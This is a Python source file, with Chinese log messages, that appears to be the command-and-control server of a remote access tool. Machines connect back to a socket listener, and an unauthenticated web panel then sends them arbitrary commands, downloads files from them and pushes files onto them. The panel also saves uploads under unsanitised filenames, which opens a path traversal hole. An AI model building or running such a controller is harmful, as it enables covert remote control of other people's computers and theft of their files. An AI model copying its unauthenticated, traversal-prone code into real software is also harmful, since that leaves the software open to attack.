from flask import Flask, request, jsonify, render_template, send_file
import threading
import socket
from concurrent.futures import ThreadPoolExecutor
import time
import os

app = Flask(__name__)

upload_folder = "uploads"
download_folder = "downloads"
os.makedirs(upload_folder, exist_ok=True)
os.makedirs(download_folder, exist_ok=True)


class ClientManager:
    def __init__(self):
        self.clients = {}
        self.clients_lock = threading.Lock()
        self.command_responses = {}

    def add_client(self, client_address, client_socket):
        with self.clients_lock:
            if client_address in self.clients:
                self.remove_client(client_address)
            self.clients[client_address] = client_socket

    def remove_client(self, client_address):
        with self.clients_lock:
            if client_address in self.clients:
                self.clients[client_address].close()
                del self.clients[client_address]

    def get_client(self, client_address):
        with self.clients_lock:
            return self.clients.get(client_address)

    def list_clients(self):
        with self.clients_lock:
            return list(self.clients.keys())

    def close_all_clients(self):
        with self.clients_lock:
            for client in self.clients.values():
                client.close()
            self.clients.clear()

    def add_command_response(self, client_address, response):
        with self.clients_lock:
            self.command_responses[client_address] = response

    def get_command_response(self, client_address):
        with self.clients_lock:
            return self.command_responses.pop(client_address, None)


client_manager = ClientManager()
server_running = threading.Event()


def handle_client(client_socket, client_address):
    print(f"接受来自 {client_address} 的连接")
    client_manager.add_client(client_address, client_socket)
    buffer_size = 4096
    try:
        while server_running.is_set():
            response = b""
            while True:
                chunk = client_socket.recv(buffer_size)
                if not chunk:
                    break
                response += chunk
                if len(chunk) < buffer_size:
                    break

            if response:
                client_manager.add_command_response(client_address, response)
            else:
                break
    except ConnectionResetError:
        print(f"连接被 {client_address} 重置")
    except Exception as e:
        print(f"错误: {e}")
    finally:
        client_manager.remove_client(client_address)
        print(f"{client_address} 已断开连接")


def decode_response(response):
    encodings = ['utf-8', 'gbk', 'latin1']
    for enc in encodings:
        try:
            return response.decode(enc)
        except UnicodeDecodeError:
            continue
    return response.decode('utf-8', errors='ignore')


def server_loop():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(("0.0.0.0", 8081))
    server.listen(5)
    print("服务器监听端口 8081")

    with ThreadPoolExecutor(max_workers=10) as executor:
        while server_running.is_set():
            try:
                server.settimeout(1.0)
                client_socket, client_address = server.accept()
                print(f"来自 {client_address} 的连接")
                executor.submit(handle_client, client_socket, client_address)
            except socket.timeout:
                continue
            except Exception as e:
                print(f"服务器错误: {e}")
                break
        server.close()
        client_manager.close_all_clients()


def client_health_check():
    while server_running.is_set():
        time.sleep(300)
        clients_to_remove = []
        for client_address in client_manager.list_clients():
            client_socket = client_manager.get_client(client_address)
            try:
                client_socket.send(b'ping')
                response = client_socket.recv(4096)
                if not response:
                    clients_to_remove.append(client_address)
            except Exception as e:
                clients_to_remove.append(client_address)
        for client_address in clients_to_remove:
            client_manager.remove_client(client_address)
            print(f"{client_address} 因无响应被删除")


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return jsonify({"error": "No file part"}), 400
    file = request.files['file']
    if file.filename == '':
        return jsonify({"error": "No selected file"}), 400
    file.save(os.path.join(upload_folder, file.filename))
    return jsonify({"status": "File uploaded successfully"}), 200


@app.route('/list_clients', methods=['GET'])
def list_clients():
    clients = client_manager.list_clients()
    return jsonify(clients)


@app.route('/send_command/<int:client_id>', methods=['POST'])
def send_command(client_id):
    command = request.json.get('command')
    clients = client_manager.list_clients()
    if 0 <= client_id < len(clients):
        client_address = clients[client_id]
        client_socket = client_manager.get_client(client_address)
        if client_socket:
            return execute_command(client_socket, client_address, command)
        else:
            return jsonify({"error": "Client not found"}), 404
    else:
        return jsonify({"error": "Invalid client ID"}), 400


def execute_command(client_socket, client_address, command):
    try:
        client_socket.send(f'{command}'.encode('utf-8'))
        timeout = 10
        start_time = time.time()
        while time.time() - start_time < timeout:
            response = client_manager.get_command_response(client_address)
            if response:
                response_decoded = decode_response(response)
                return jsonify({"status": "Command sent", "response": response_decoded})
            time.sleep(0.1)
        return jsonify({"error": "Command response timeout"}), 500
    except Exception as e:
        return jsonify({"error": str(e)}), 500


@app.route('/download_file/<int:client_id>', methods=['POST'])
def download_file(client_id):
    filepath = request.json.get('filepath')
    clients = client_manager.list_clients()
    if 0 <= client_id < len(clients):
        client_address = clients[client_id]
        client_socket = client_manager.get_client(client_address)
        if client_socket:
            return handle_file_download(client_socket, filepath)
        else:
            return jsonify({"error": "Client not found"}), 404
    else:
        return jsonify({"error": "Invalid client ID"}), 400


def handle_file_download(client_socket, filepath):
    try:
        client_socket.send(f"download {filepath}".encode('utf-8'))
        file_path = os.path.join(download_folder, os.path.basename(filepath))
        with open(file_path, "wb") as f:
            while True:
                chunk = client_socket.recv(4096)
                if b"EOF" in chunk:
                    f.write(chunk.split(b"EOF")[0])
                    break
                f.write(chunk)
        return send_file(file_path, as_attachment=True)
    except Exception as e:
        return jsonify({"error": str(e)}), 500


@app.route('/upload_file/<int:client_id>', methods=['POST'])
def upload_file_to_client(client_id):
    clients = client_manager.list_clients()
    if 0 <= client_id < len(clients):
        client_address = clients[client_id]
        client_socket = client_manager.get_client(client_address)
        if client_socket:
            return handle_file_upload(client_socket)
        else:
            return jsonify({"error": "Client not found"}), 404
    else:
        return jsonify({"error": "Invalid client ID"}), 400


def handle_file_upload(client_socket):
    if 'file' not in request.files:
        return jsonify({"error": "No file part"}), 400
    file = request.files['file']
    if file.filename == '':
        return jsonify({"error": "No selected file"}), 400

    try:
        # Save the file temporarily on the server
        temp_path = os.path.join(upload_folder, file.filename)
        file.save(temp_path)
        
        # Read the file content
        with open(temp_path, 'rb') as f:
            file_content = f.read()

        # Send the file content to the client
        client_socket.send(f"upload {file.filename}".encode('utf-8'))
        client_socket.send(file_content + b"EOF")
        
        # Remove the temporary file
        os.remove(temp_path)
        
        return jsonify({"status": "File uploaded successfully to client"}), 200
    except Exception as e:
        return jsonify({"error": str(e)}), 500


@app.route('/close_all_clients', methods=['POST'])
def close_all_clients():
    client_manager.close_all_clients()
    return jsonify({"status": "All clients closed"})


def main():
    global server_running
    server_running.set()
    server_thread = threading.Thread(target=server_loop)
    server_thread.start()

    health_check_thread = threading.Thread(target=client_health_check)
    health_check_thread.start()

    app.run(host="0.0.0.0", port=8082)

    server_running.clear()
    server_thread.join()
    health_check_thread.join()
    client_manager.close_all_clients()


if __name__ == "__main__":
    main()
